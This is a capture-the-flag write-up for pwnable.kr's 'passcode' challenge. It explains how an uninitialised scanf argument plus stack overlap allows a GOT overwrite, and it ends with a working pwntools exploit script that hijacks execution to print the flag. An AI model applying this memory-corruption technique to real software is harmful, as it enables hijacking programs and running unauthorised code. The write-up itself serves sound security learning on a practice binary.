Skip to content

Instantly share code, notes, and snippets.

@Gao-Chuan
Last active December 18, 2017 06:47
Show Gist options
  • Save Gao-Chuan/217738453226384166f1616b0d6fd49b to your computer and use it in GitHub Desktop.
Save Gao-Chuan/217738453226384166f1616b0d6fd49b to your computer and use it in GitHub Desktop.
pwnable.kr writeup

pwnable.kr writeup [Toddler's Bottle]

[passcode]

code:

  1 #include <stdio.h>                     
  2 #include <stdlib.h>
  3      
  4 void login(){
  5     int passcode1;
  6     int passcode2;
  7     
  8     printf("enter passcode1 : ");
  9     scanf("%d", passcode1);
 10     fflush(stdin);
 11     
 12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
 13     printf("enter passcode2 : ");
 14         scanf("%d", passcode2);
 15     
 16     printf("checking...\n");
 17     if(passcode1==338150 && passcode2==13371337){
 18                 printf("Login OK!\n");
 19                 system("/bin/cat flag");
 20         }
 21         else{
 22                 printf("Login Failed!\n");
 23         exit(0);
 24         }
 25 }   
 26     
 27 void welcome(){
 28     char name[100];
 29     printf("enter you name : ");
 30     scanf("%100s", name);
 31     printf("Welcome %s!\n", name);
 32 }   
 33     
 34 int main(){
 35     printf("Toddler's Secure Login System 1.0 beta.\n");
 36     
 37     welcome();
 38     login();
 39     
 40     // something after login...
 41     printf("Now I can safely trust you that you have credential :)\n");
 42     return 0;   
 43 }

There is an functional bug "scanf("%d", passcode1);" in func login, line 9, which can be corrected as "scanf("%d", &passcode1);". In this case, if we can choose the initial value of "passcode1", we can write 4bytes at any writable space.

As for how to initialize this value, after analysis of code we can get that, "welcome()" and "login()" share the same space as their stack. Meanwhile, the author didnot manually initialize variables.

main:>>

......
           0x0804867a      e88affffff     call sym.welcome
           0x0804867f      e8e0feffff     call sym.login
......

welcome:>>

           ; var int local_70h @ ebp-0x70
           ; var int local_ch @ ebp-0xc
           ; var int local_4h @ esp+0x4
           
           0x08048609      55             push ebp
           0x0804860a      89e5           mov ebp, esp
           0x0804860c      81ec88000000   sub esp, 0x88
           ......
           0x0804862a      b8dd870408     mov eax, str._100s          ; "%100s" @ 0x80487dd
           0x0804862f      8d5590         lea edx, [local_70h]
           0x08048632      89542404       mov dword [local_4h], edx
           0x08048636      890424         mov dword [esp], eax
           0x08048639      e862feffff     call sym.imp.__isoc99_scanf; int scanf(const char *format)

           ......
           0x08048663      c9             leave
           0x08048664      c3             ret

login:>>

           ; var int local_10h @ ebp-0x10
           ; var int local_ch @ ebp-0xc
           ; var int local_4h @ esp+0x4

           0x08048564      55             push ebp
           0x08048565      89e5           mov ebp, esp
           0x08048567      83ec28         sub esp, 0x28               ; '('
           ......
           0x08048577      b883870408     mov eax, 0x8048783
           0x0804857c      8b55f0         mov edx, dword [local_10h]
           0x0804857f      89542404       mov dword [local_4h], edx
           0x08048583      890424         mov dword [esp], eax
           0x08048586      e815ffffff     call sym.imp.__isoc99_scanf; int scanf(const char *format)

           ......

So the position of "name" in welcome() is ebp - 0x70, and the position of "passcode1" in login() is ebp - 0x10.

0x70 - 0x10 = 0x60 = 96

But the length of "name" is 100.

So now we can choose the initial value of passcode1.

I decide to rewrite the GOT(Global Offset Table)

.plt :>>

.plt:08048430 ; int fflush(FILE *stream)
.plt:08048430 _fflush         proc near               ; CODE XREF: login+2Fp
.plt:08048430                 jmp     ds:off_804A004
.plt:08048430 _fflush         endp
.plt:08048430

.got.plt:>>

.got.plt:0804A004      dd offset fflush        ; DATA fflushr: _XREF

If I cover 0x0804A004 with the address of "system("cat flag")", this challenge is solved.

And that code's address is :>>

         0x080485e3      c70424af8704.  mov dword [esp], str._bin_cat_flag ; [0x80487af:4]=0x6e69622f ; LEA str._bin_cat_flag ; "/bin/cat flag" @ 0x80487af
         0x080485ea      e871feffff     call sym.imp.system        ; int system(const char *string)

So the script is :>>

from pwn import *
s = ssh(host = "pwnable.kr", user = "passcode", password = "guest", port = 2222)
p = s.process(executable = "./passcode")
print(p.recv())
p.sendline("a"*96 + "\x04\xa0\x04\x08")
print(p.recv())
p.sendline(str(int("0x080485e3", 16)))
print(p.recvall())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment